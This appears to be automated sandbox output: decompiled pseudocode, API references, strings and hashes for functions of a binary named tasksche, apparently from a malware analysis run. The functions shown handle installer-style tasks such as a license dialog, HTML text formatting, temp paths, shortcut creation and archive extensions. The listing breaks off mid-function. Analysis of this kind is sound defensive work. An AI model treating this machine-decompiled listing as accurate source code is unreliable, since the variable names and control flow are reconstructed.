0x0040ecbf
0x0040ecc6
0x0040eccb
0x0040ecd5
0x0040ece3
0x0040ece8
0x0040ece9
0x0040ece9
0x0040ecd5
0x0040ecf0
0x0040ecf2
0x0040ecfe
0x0040ed02
0x0040ed08
0x00000000
0x0040ed0a
0x0040ed14
0x00000000
0x0040ed14
0x0040ed08
0x0040ec45
0x0040ec4a
0x00000000
0x00000000
0x00000000
0x0040ec4a
0x0040ec1c
0x0040ec21
0x00000000
0x00000000
0x0040ec23
0x0040ec23
0x0040ec26
0x0040ec2a
0x00000000
0x0040ec30
0x0040ec30
0x00000000
0x0040ec30
0x0040ec2a
0x00000000
0x0040edc1
0x0040edc2
0x0040edc7
0x0040edc9
0x0040edcb
0x0040edcc
0x0040edcc
0x00000000
0x0040ee02
0x0040ee09
0x0040ee09
0x0040ee0c
0x0040ee39
0x0040ee39
0x0040ee40
0x00000000
0x0040ee40
0x0040ee0e
0x0040ee0e
0x0040ee11
0x0040ee26
0x0040ee2d
0x0040ee2d
0x00000000
0x0040ee2d
0x0040ee13
0x0040ee13
0x0040ee14
0x00000000
0x00000000
0x0040ee16
0x0040ee16
0x0040ee17
0x00000000
0x00000000
0x0040ee1d
0x00000000
0x00000000
0x0040ee8f
0x0040ee93
0x00000000
0x00000000
0x0040ee95
0x0040eea1
0x0040eea6
0x0040eea7
0x0040eea8
0x0040eeaa
0x00000000
0x00000000
0x0040eeac
0x00000000
0x00000000
0x0040eed4
0x0040eed8
0x0040f04f
0x0040f04f
0x0040f053
0x0040f059
0x0040f060
0x0040f062
0x0040f062
0x0040f06c
0x0040f06c
0x00000000
0x0040f053
0x0040eee6
0x0040eef4
0x0040eef9
0x0040eefd
0x0040eeff
0x0040ef0c
0x0040ef0c
0x0040ef1a
0x0040ef2a
0x0040ef30
0x0040ef31
0x0040ef33
0x0040ef36
0x00000000
0x00000000
0x0040ef06
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef09
0x0040ef44
0x0040ef4a
0x0040ef52
0x00000000
0x00000000
0x0040ef58
0x0040ef5f
0x00000000
0x00000000
0x0040ef65
0x0040ef67
0x0040ef6e
0x0040ef77
0x0040ef7c
0x0040ef7d
0x0040ef7e
0x0040ef80
0x0040efcc
0x0040efcc
0x0040efd4
0x0040efdd
0x0040efe9
0x0040eff7
0x0040effc
0x0040f006
0x0040f00b
0x0040f00d
0x0040f01d
0x0040f027
0x0040f02d
0x0040f030
0x00000000
0x0040f036
0x0040f03b
0x0040f042
0x0040f049
0x00000000
0x0040f049
0x0040f030
0x0040ef82
0x0040ef84
0x0040ef8b
0x00000000
0x00000000
0x0040ef8d
0x0040ef93
0x0040ef93
0x0040ef97
0x00000000
0x00000000
0x0040ef99
0x0040ef9a
0x0040efa1
0x0040efa5
0x00000000
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x0040efb4
0x0040efbb
0x0040efc0
0x0040efc1
0x0040efc1
0x0040efc3
0x0040efc4
0x00000000
0x00000000
0x0040f078
0x0040f07c
0x0040f07e
0x0040f086
0x0040f092
0x0040f092
0x0040f098
0x0040f0a0
0x0040f0a0
0x0040f0a5
0x00000000
0x00000000
0x0040f0b1
0x0040f0b5
0x0040eebc
0x0040eebc
0x00000000
0x0040eebc
0x0040f0bb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f3f8
0x0040f3fc
0x0040f3fe
0x0040f3fe
0x00000000
0x00000000
0x0040ee4c
0x0040ee54
0x0040ee5a
0x0040ee5d
0x0040ee83
0x0040ee5f
0x0040ee5f
0x0040ee62
0x0040ee77
0x0040ee64
0x0040ee64
0x0040ee6b
0x0040ee6b
0x0040ee62
0x00000000
0x00000000
0x0040eec8
0x0040eec9
0x0040eece
0x0040eed0
0x0040eed0
0x00000000
0x00000000
0x0040e8ca
0x0040e8ce
0x0040e8d3
0x0040e8da
0x0040e8da
0x0040e8dd
0x00000000
0x0040e8df
0x0040e8df
0x00000000
0x0040e8df
0x0040e8dd
0x0040f437
0x0040f43f
0x0040f43f
0x00000000
0x0040f32e
0x0040f31f
0x0040f161
0x0040f0c6

APIs

_wcscpy.LIBCMT ref: 0040F152
_wcscpy.LIBCMT ref: 0040F171
_wcschr.LIBCMT ref: 0040F17F
_wcscpy.LIBCMT ref: 0040F19F
_wcscpy.LIBCMT ref: 0040F229
_wcscpy.LIBCMT ref: 0040F2E1
_wcscpy.LIBCMT ref: 0040F35E

Part of subcall function 00410B9C: _wcsncpy.LIBCMT ref: 00410BB3

SHChangeNotify.SHELL32(00001000,00000005,00000000,00000000), ref: 0040F3F0

Strings

.lnk, xrefs: 0040F321, 0040F331
", xrefs: 0040F157

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$ChangeNotify_wcschr_wcsncpy
String ID: "$.lnk
API String ID: 1911921660-4024015082
Opcode ID: 3c6201613c96017e3897878af9bb683d8d7d7eafee682b5e3ac73432f0cb0779
Instruction ID: e9d5912a6b4b3542aee3cadb88dbd3b5a863ff0206024957ce050cac0ef3000c
Opcode Fuzzy Hash: 3c6201613c96017e3897878af9bb683d8d7d7eafee682b5e3ac73432f0cb0779
Instruction Fuzzy Hash: 5191227280022899DF35DBA5CC49EEEB37CBB44304F4405BBE509F7181EB789AD98B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040EEC9 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 131windowCOMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(?,?), ref: 0040EEE6

Part of subcall function 0040A116: _wcslen.LIBCMT ref: 0040A11C
Part of subcall function 0040A116: _wcscat.LIBCMT ref: 0040A13B

_swprintf.LIBCMT ref: 0040EF22

Part of subcall function 0040BC16: __vswprintf_c_l.LIBCMT ref: 0040BC29

SetDlgItemTextW.USER32 ref: 0040EF44
_wcschr.LIBCMT ref: 0040EF77
_wcscpy.LIBCMT ref: 0040EFBB
_wcscpy.LIBCMT ref: 0040EFE4
_wcscpy.LIBCMT ref: 0040EFF7
MessageBoxW.USER32(?,00000000,00000000,00000024), ref: 0040F027
EndDialog.USER32(?,00000001), ref: 0040F049

Strings

%s%s%d, xrefs: 0040EEFF, 0040EF19

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$DialogItemMessagePathTempText__vswprintf_c_l_swprintf_wcscat_wcschr_wcslen
String ID: %s%s%d
API String ID: 1897388972-1000756122
Opcode ID: f75e7cfbeccc15e09081c60efc06442c44850a7c3c336a2ff36c1e07c701c860
Instruction ID: 7c5ef0a1406295de31e953a15a9408ca88d5d0b5476cb7747de3243763a4baae
Opcode Fuzzy Hash: f75e7cfbeccc15e09081c60efc06442c44850a7c3c336a2ff36c1e07c701c860
Instruction Fuzzy Hash: 325176728001199BDB21DF61DC44BEE77B8FB04308F0445BBEA09E7191E7789AE98F59

Uniqueness

Uniqueness Score: -1.00%

Function 004191D8 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004191D8(void* __ebx, void* __eflags, short* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* __edi;
				void* __esi;
				void* __ebp;
				short* _t32;
				signed int _t33;
				signed int _t41;
				void* _t51;
				void* _t52;
				short* _t53;
				short* _t55;
				short* _t57;

				_push(_t43);
				_t57 = _a4;
				_push(_t52);
				_t53 = E0041CF3E(__ebx, _t51, _t52, 0x200 + E0041A7AF(_t57) * 0xc);
				_v12 = _t53;
				if(_t53 != 0) {
					_push(__ebx);
					E0041A7F7(_t53, L"<style>body{font-family:\"Arial\";font-size:12;}</style>");
					_t41 = E0041A7AF(_t53);
					__eflags =  *_t57;
					while(__eflags != 0) {
						_t33 = E00411E81(__eflags, _t57, L"\r\n\r\n", 4);
						__eflags = _t33;
						if(_t33 != 0) {
							__eflags = _t57 - _a4;
							if(_t57 <= _a4) {
								L13:
								 *((short*)(_t53 + _t41 * 2)) =  *_t57;
								_t41 = _t41 + 1;
								__eflags = _t41;
							} else {
								__eflags =  *_t57 - 0x20;
								if( *_t57 != 0x20) {
									goto L13;
								} else {
									__eflags =  *((short*)(_t57 - 2)) - 0x20;
									if( *((short*)(_t57 - 2)) != 0x20) {
										goto L13;
									} else {
										E0041A7F7(_t53 + _t41 * 2, L"&nbsp;");
										_t41 = _t41 + 6;
									}
								}
							}
						} else {
							_t55 = _t57 + 4;
							__eflags =  *_t55 - 0xd;
							if( *_t55 == 0xd) {
								_v8 = _v12 + _t41 * 2;
								while(1) {
									__eflags =  *((short*)(_t57 + 6)) - 0xa;
									if( *((short*)(_t57 + 6)) != 0xa) {
										goto L8;
									}
									E0041A7F7(_v8, L"<br>");
									_v8 = _v8 + 8;
									_t57 = _t55;
									_t55 = _t57 + 4;
									_t41 = _t41 + 4;
									__eflags =  *_t55 - 0xd;
									if( *_t55 == 0xd) {
										continue;
									}
									goto L8;
								}
							}
							L8:
							_t53 = _v12;
							_t57 = _t57 + 2;
						}
						_t57 = _t57 + 2;
						__eflags =  *_t57;
					}
					_push(_a4);
					__eflags = 0;
					 *((short*)(_t53 + _t41 * 2)) = 0;
					E0041A506(_t41, _t53, _t57, 0);
					_t32 = _t53;
				} else {
					_t32 = _t57;
				}
				return _t32;
			}

0x004191dc
0x004191de
0x004191e1
0x004191f6
0x004191fa
0x004191ff
0x00419208
0x0041920f
0x0041921a
0x00419221
0x00419225
0x00419233
0x00419238
0x0041923a
0x0041927d
0x00419280
0x004192a4
0x004192a7
0x004192ab
0x004192ab
0x00419282
0x00419282
0x00419286
0x00000000
0x00419288
0x00419288
0x0041928d
0x00000000
0x0041928f
0x00419298
0x0041929f
0x0041929f
0x0041928d
0x00419286
0x0041923c
0x0041923c
0x0041923f
0x00419243
0x0041924b
0x0041924e
0x0041924e
0x00419253
0x00000000
0x00000000
0x0041925d
0x00419262
0x00419266
0x00419268
0x0041926c
0x0041926f
0x00419274
0x00000000
0x00000000
0x00000000
0x00419274
0x0041924e
0x00419276
0x00419276
0x0041927a
0x0041927a
0x004192ad
0x004192ae
0x004192ae
0x004192b8
0x004192bb
0x004192bd
0x004192c1
0x004192c7
0x00419201
0x00419201
0x00419201
0x004192cd

APIs

_wcslen.LIBCMT ref: 004191E3
_malloc.LIBCMT ref: 004191F1

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

_wcscpy.LIBCMT ref: 0041920F
_wcslen.LIBCMT ref: 00419215
_wcscpy.LIBCMT ref: 0041925D

Strings

<style>body{font-family:"Arial";font-size:12;}</style>, xrefs: 00419209
 , xrefs: 00419292
, xrefs: 0041922D
<br>, xrefs: 00419255

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy_wcslen$AllocateHeap_malloc
String ID: $ $<br>$<style>body{font-family:"Arial";font-size:12;}</style>
API String ID: 2405444336-406990186
Opcode ID: 7498e1d93872206418056738375307e862cf4a62c732be38d5bd5e97bddd9d4b
Instruction ID: 0e02d37120f5dc5c9773bcbd7ae744d1444ccd80410fa70afd17435bf81929d8
Opcode Fuzzy Hash: 7498e1d93872206418056738375307e862cf4a62c732be38d5bd5e97bddd9d4b
Instruction Fuzzy Hash: BF21FB76904304BBDB20AB54DC41ADAB3B4EF45314B20445BE455A7390E7BC9ED1839E

Uniqueness

Uniqueness Score: -1.00%

Function 0040DBC1 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 82
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DBC1(void* __edx, void* __eflags, void* __fp0, signed int _a4) {
				struct HWND__* _v8;
				intOrPtr _v24;
				intOrPtr _v28;
				void _v32;
				short _v4128;
				void* _t16;
				struct HWND__* _t17;
				void* _t27;
				void* _t35;
				struct HWND__* _t37;
				void* _t41;
				void* _t42;
				void* _t52;

				_t52 = __fp0;
				_t42 = __eflags;
				_t35 = __edx;
				E0041AAF0(0x101c);
				_t16 = E00419E56(_t42);
				if(_t16 == 0) {
					return _t16;
				}
				_t17 = GetWindow(_a4, 5);
				_a4 = _a4 & 0x00000000;
				_t37 = _t17;
				_v8 = _t37;
				if(_t37 == 0) {
					L12:
					return _t17;
				} else {
					while(_a4 < 0x200) {
						GetClassNameW(_t37,  &_v4128, 0x800);
						if(E00411E60( &_v4128, L"STATIC") == 0 && (GetWindowLongW(_t37, 0xfffffff0) & 0x0000001f) == 0xe) {
							_t41 = SendMessageW(_t37, 0x173, 0, 0);
							if(_t41 != 0) {
								GetObjectW(_t41, 0x18,  &_v32);
								_t27 = E00419E13(_v24);
								SendMessageW(_t37, 0x172, 0, E00419EA0(_t35, _t52, _t41, E00419DD0(_v28), _t27));
								if(_t41 !=  *0x439818) {
									DeleteObject(_t41);
								}
							}
						}
						_t17 = GetWindow(_t37, 2);
						_t37 = _t17;
						if(_t37 != _v8) {
							_a4 =  &(_a4->i);
							if(_t37 != 0) {
								continue;
							}
						}
						break;
					}
					goto L12;
				}
			}

0x0040dbc1
0x0040dbc1
0x0040dbc1
0x0040dbc9
0x0040dbce
0x0040dbd5
0x0040dcb5
0x0040dcb5
0x0040dbe1
0x0040dbe7
0x0040dbeb
0x0040dbed
0x0040dbf2
0x0040dcb3
0x00000000
0x0040dbf8
0x0040dc00
0x0040dc1a
0x0040dc33
0x0040dc51
0x0040dc55
0x0040dc5e
0x0040dc67
0x0040dc85
0x0040dc8d
0x0040dc90
0x0040dc90
0x0040dc8d
0x0040dc55
0x0040dc99
0x0040dc9f
0x0040dca4
0x0040dca6
0x0040dcab
0x00000000
0x00000000
0x0040dcab
0x00000000
0x0040dca4
0x00000000
0x0040dcb2

APIs

GetWindow.USER32(?,00000005), ref: 0040DBE1
GetClassNameW.USER32 ref: 0040DC1A

Part of subcall function 00411E60: CompareStringW.KERNEL32(00000400,00001001,00000000,000000FF,00000000,000000FF,00409CA8,?,00000000,?,00409DC2,00000000,-00000002,?,00000000,?), ref: 00411E76

GetWindowLongW.USER32(00000000,000000F0), ref: 0040DC38
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 0040DC4F
GetObjectW.GDI32(00000000,00000018,?), ref: 0040DC5E

Part of subcall function 00419E13: GetDC.USER32(00000000), ref: 00419E1F
Part of subcall function 00419E13: GetDeviceCaps.GDI32(00000000,0000005A), ref: 00419E2E
Part of subcall function 00419E13: ReleaseDC.USER32 ref: 00419E3C

Part of subcall function 00419DD0: GetDC.USER32(00000000), ref: 00419DDC
Part of subcall function 00419DD0: GetDeviceCaps.GDI32(00000000,00000058), ref: 00419DEB
Part of subcall function 00419DD0: ReleaseDC.USER32 ref: 00419DF9

SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 0040DC85
DeleteObject.GDI32(00000000), ref: 0040DC90
GetWindow.USER32(00000000,00000002), ref: 0040DC99

Strings

p["u k"u, xrefs: 0040DC90
STATIC, xrefs: 0040DC20

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: Window$CapsDeviceMessageObjectReleaseSend$ClassCompareDeleteLongNameString
String ID: STATIC$p["u k"u
API String ID: 1444658586-3151628066
Opcode ID: e4891baa8d9211e57ee6f2526fdb6bcdd3618d39e8ad49c62a733b0531c7c9e3
Instruction ID: 65505d2462e9bd66d8f24c48bff8a2f322d46b7930d969d63ebb67ecbc3f0dac
Opcode Fuzzy Hash: e4891baa8d9211e57ee6f2526fdb6bcdd3618d39e8ad49c62a733b0531c7c9e3
Instruction Fuzzy Hash: B321F132A40204BBEB21AB90CC46FEF77B8AF41B50F404026FD04B61C1CBB89D86D66D

Uniqueness

Uniqueness Score: -1.00%

Function 0040F47B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 96
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040F47B(void* __ecx, void* __edx, void* __esi, void* __eflags, void* __fp0, struct HWND__* _a4, struct HWND__* _a8, signed short _a12, intOrPtr _a16) {
				void* __ebx;
				void* __edi;
				void* __ebp;
				void* _t14;
				long _t15;
				long _t16;
				struct HWND__* _t18;
				void* _t32;
				struct HWND__* _t34;
				void* _t36;
				void* _t41;
				void* _t42;
				void* _t49;

				_t49 = __fp0;
				_t38 = __edx;
				_t34 = _a4;
				if(E004060EE(__edx, _t34, _a8, _a12, _a16, L"LICENSEDLG", 0, 0) != 0) {
					L15:
					__eflags = 1;
					return 1;
				}
				_t14 = _a8 - 0x110;
				if(_t14 == 0) {
					_t15 =  *0x43981c;
					_t41 = SendMessageW;
					__eflags = _t15;
					if(_t15 != 0) {
						SendMessageW(_t34, 0x80, 1, _t15);
					}
					_t16 =  *0x439818;
					__eflags = _t16;
					if(__eflags != 0) {
						SendDlgItemMessageW(_t34, 0x66, 0x172, 0, _t16);
					}
					E0040DBC1(_t38, __eflags, _t49, _t34);
					_t18 = GetDlgItem(_t34, 0x65);
					_a8 = _t18;
					SendMessageW(_t18, 0x435, 0, 0x10000);
					SendMessageW(_a8, 0x443, 0, GetSysColor(0xf));
					E0040E857(_t41, _t34,  *0x44184c, 3);
					_pop(_t42);
					__eflags =  *0x441854;
					if(__eflags == 0) {
						L13:
						_push(1);
						L14:
						EndDialog(_t34, ??);
					} else {
						SetForegroundWindow(_t34);
						_t36 =  *0x438810; // 0x19feac
						E00419A9D(_t36, __eflags,  *0x4335a4, _a8,  *0x441854, 0, 0);
						_push( *0x441854);
						E0041A506(_t34, 0, _t42, __eflags);
					}
					goto L15;
				}
				if(_t14 != 1) {
					L5:
					return 0;
				}
				_t32 = (_a12 & 0x0000ffff) - 1;
				if(_t32 == 0) {
					goto L13;
				}
				if(_t32 == 1) {
					_push(0);
					goto L14;
				}
				goto L5;
			}

0x0040f47b
0x0040f47b
0x0040f47f
0x0040f49d
0x0040f584
0x0040f586
0x00000000
0x0040f586
0x0040f4a6
0x0040f4ab
0x0040f4cb
0x0040f4d1
0x0040f4d7
0x0040f4d9
0x0040f4e4
0x0040f4e4
0x0040f4e6
0x0040f4eb
0x0040f4ed
0x0040f4f9
0x0040f4f9
0x0040f500
0x0040f508
0x0040f51a
0x0040f51d
0x0040f531
0x0040f53c
0x0040f541
0x0040f542
0x0040f548
0x0040f57b
0x0040f57b
0x0040f57d
0x0040f57e
0x0040f54a
0x0040f54b
0x0040f551
0x0040f568
0x0040f56d
0x0040f573
0x0040f578
0x00000000
0x0040f548
0x0040f4ae
0x0040f4be
0x00000000
0x0040f4be
0x0040f4b4
0x0040f4b5
0x00000000
0x00000000
0x0040f4bc
0x0040f4c5
0x00000000
0x0040f4c5
0x00000000

APIs

SendMessageW.USER32(?,00000080,00000001,?), ref: 0040F4E4
SendDlgItemMessageW.USER32 ref: 0040F4F9
GetDlgItem.USER32 ref: 0040F508
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 0040F51D
GetSysColor.USER32(0000000F), ref: 0040F521
SendMessageW.USER32(?,00000443,00000000,00000000), ref: 0040F531
SetForegroundWindow.USER32(?,00000003), ref: 0040F54B
EndDialog.USER32(?,00000001), ref: 0040F57E

Strings

LICENSEDLG, xrefs: 0040F487

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: MessageSend$Item$ColorDialogForegroundWindow
String ID: LICENSEDLG
API String ID: 3794146707-2177901306
Opcode ID: 02f09cdf1160bcdbe774ef8c11fbffe401dfe55e14f089134217c45cb495fed2
Instruction ID: 7fefae372e04e04a7da23b2667bfd905224a5402d39c62195e2e2b0091848963
Opcode Fuzzy Hash: 02f09cdf1160bcdbe774ef8c11fbffe401dfe55e14f089134217c45cb495fed2
Instruction Fuzzy Hash: E521F9312002047BDB31AF61EC45E5B3B6DEB89B10F408436FE15B51E2D6798955CB2C

Uniqueness

Uniqueness Score: -1.00%

Function 0040BF1D Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0040BF1D(intOrPtr* __ecx, intOrPtr _a4, short* _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				char _v24;
				char _v25;
				char _v4120;
				char _v8216;
				short* _t25;
				intOrPtr _t28;
				void* _t40;
				void* _t41;
				signed int _t42;
				void* _t52;
				void* _t55;
				intOrPtr* _t57;
				short* _t58;
				char* _t63;
				signed int _t68;
				void* _t72;
				intOrPtr _t73;
				signed int _t75;

				E0041AAF0(0x2014);
				_t57 = __ecx;
				if( *__ecx == 0) {
					L21:
					_t25 = _a8;
					if(_a4 == _t25) {
						L23:
						return _t25;
					}
					return E0041A7F7(_t25, _a4);
				}
				_t28 = _a16;
				_t63 = 0x42a73a;
				if(_t28 == 0) {
					_t63 = "s";
				} else {
					_t55 = _t28 - 1;
					if(_t55 == 0) {
						_t63 = "$";
					} else {
						if(_t55 == 1) {
							_t63 = "@";
						}
					}
				}
				_t72 = E00405610(0xffffffff, _t63, 1);
				if(_a20 != 0) {
					E00411AFD(_t63, _a20,  &_v8216, 0x1000);
					_t52 = E0041AA60( &_v8216);
					_pop(_t63);
					_t72 = E00405610(_t72,  &_v8216, _t52);
				}
				E00411AFD(_t63, _a4,  &_v4120, 0x1000);
				_v25 = 0;
				E0040BC16( &_v24, 0xa, L"%08x",  !(E00405610(_t72,  &_v4120, E0041AA60( &_v4120))));
				_t40 = E0040BB89(_t57,  &_v24);
				if(_t40 == 0) {
					goto L21;
				} else {
					_t14 = _t40 + 0x12; // 0x12
					_t58 = _t14;
					if( *_t58 == 0x22) {
						_t58 = _t58 + 2;
					}
					_t41 = E0041CA29(_t58, 0xc);
					if(_t41 == 0) {
						_t75 = 0xff;
					} else {
						_t75 = _t41 - _t58 >> 1;
					}
					_t42 = _a12;
					_t16 = _t42 - 1; // 0x4118d7
					_t68 = _t16;
					if(_t75 > _t68) {
						asm("sbb eax, eax");
						_t75 =  ~_t42 & _t68;
					}
					_t73 = _a8;
					if(_t75 > 0) {
						E0041C853(_t73, _t58, _t75);
					}
					 *((short*)(_t73 + _t75 * 2)) = 0;
					_t25 = E0041CA4F(_t73, 0x22);
					if(_t25 == 0) {
						goto L23;
					} else {
						 *_t25 = 0;
						return _t25;
					}
				}
			}

0x0040bf25
0x0040bf2b
0x0040bf32
0x0040c05b
0x0040c05b
0x0040c061
0x0040c072
0x0040c072
0x0040c072
0x00000000
0x0040c06d
0x0040bf3b
0x0040bf3e
0x0040bf43
0x0040bf59
0x0040bf45
0x0040bf45
0x0040bf46
0x0040bf52
0x0040bf48
0x0040bf49
0x0040bf4b
0x0040bf4b
0x0040bf49
0x0040bf46
0x0040bf6c
0x0040bf73
0x0040bf80
0x0040bf8c
0x0040bf91
0x0040bfa0
0x0040bfa0
0x0040bfad
0x0040bfb9
0x0040bfdf
0x0040bfed
0x0040bff4
0x00000000
0x0040bff6
0x0040bff6
0x0040bff6
0x0040bffd
0x0040c000
0x0040c000
0x0040c004
0x0040c00d
0x0040c017
0x0040c00f
0x0040c013
0x0040c013
0x0040c01c
0x0040c01f
0x0040c01f
0x0040c024
0x0040c028
0x0040c02c
0x0040c02c
0x0040c02e
0x0040c033
0x0040c038
0x0040c03d
0x0040c045
0x0040c049
0x0040c052
0x00000000
0x0040c054
0x0040c056
0x00000000
0x0040c056
0x0040c052

APIs

_strlen.LIBCMT ref: 0040BF8C
_strlen.LIBCMT ref: 0040BFBD
_swprintf.LIBCMT ref: 0040BFDF
_wcschr.LIBCMT ref: 0040C004
_wcsncpy.LIBCMT ref: 0040C038
_wcsrchr.LIBCMT ref: 0040C049
_wcscpy.LIBCMT ref: 0040C067

Strings

%08x, xrefs: 0040BFD4

Memory Dump Source

Source File: 0000000A.00000002.987312084.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000A.00000002.987302224.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987459763.000000000042A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987519117.0000000000430000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987556302.0000000000435000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000A.00000002.987583852.000000000044F000.00000004.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_tasksche.jbxd

Similarity

API ID: _strlen$_swprintf_wcschr_wcscpy_wcsncpy_wcsrchr
String ID: %08x
API String ID: 3224783807-3682738293
Opcode ID: 4d5fd9a6cc2fdfb1e26962337ba3e1a06d65f92fe649ff33053b57c91cd1fd04
Instruction ID: 07d0537aec3a1dd66ebb0c57739ff8632de72c66deae5d09d2d4ff76284a4df6
Opcode Fuzzy Hash: 4d5fd9a6cc2fdfb1e26962337ba3e1a06d65f92fe649ff33053b57c91cd1fd04
Instruction Fuzzy Hash: 4841E832500219AADB24AB64CC85AFF32ACDF40754F54413BB915E71C1DB7DDD80C6AE

Uniqueness

Uniqueness Score: -1.00%

Function 0040A8A1 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 119
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040A8A1(intOrPtr _a4, intOrPtr _a8, char _a12) {
				short _t13;
				short _t16;
				short _t19;
				signed short* _t20;
				signed int _t22;
				signed short _t23;
				intOrPtr* _t25;
				signed short _t27;
				short _t29;
				void* _t31;
				intOrPtr _t34;
				signed short* _t40;
				signed short _t41;
				signed short _t47;
				short* _t48;
				void* _t50;
				signed short* _t51;
				signed short* _t52;

				_t34 = _a4;
				_t50 = E0040A76A(_t34);
				_t54 = _t50;
				if(_t50 != 0) {
					_t3 = _t50 + 2; // 0x2
					_t48 = _t3;
					__eflags =  *_t48;
					if( *_t48 != 0) {
						L4:
						_t13 = E00411E60(_t48, L"exe");
						__eflags = _t13;
						if(_t13 == 0) {
							L6:
							E0041A7F7(_t48, L"rar");
							L7:
							_t55 = _a12;
							if(_a12 != 0) {
								_t10 = _t50 + 4; // 0x4
								_t49 = _t10;
								_t16 = E00410B6D( *_t10 & 0x0000ffff);
								__eflags = _t16;
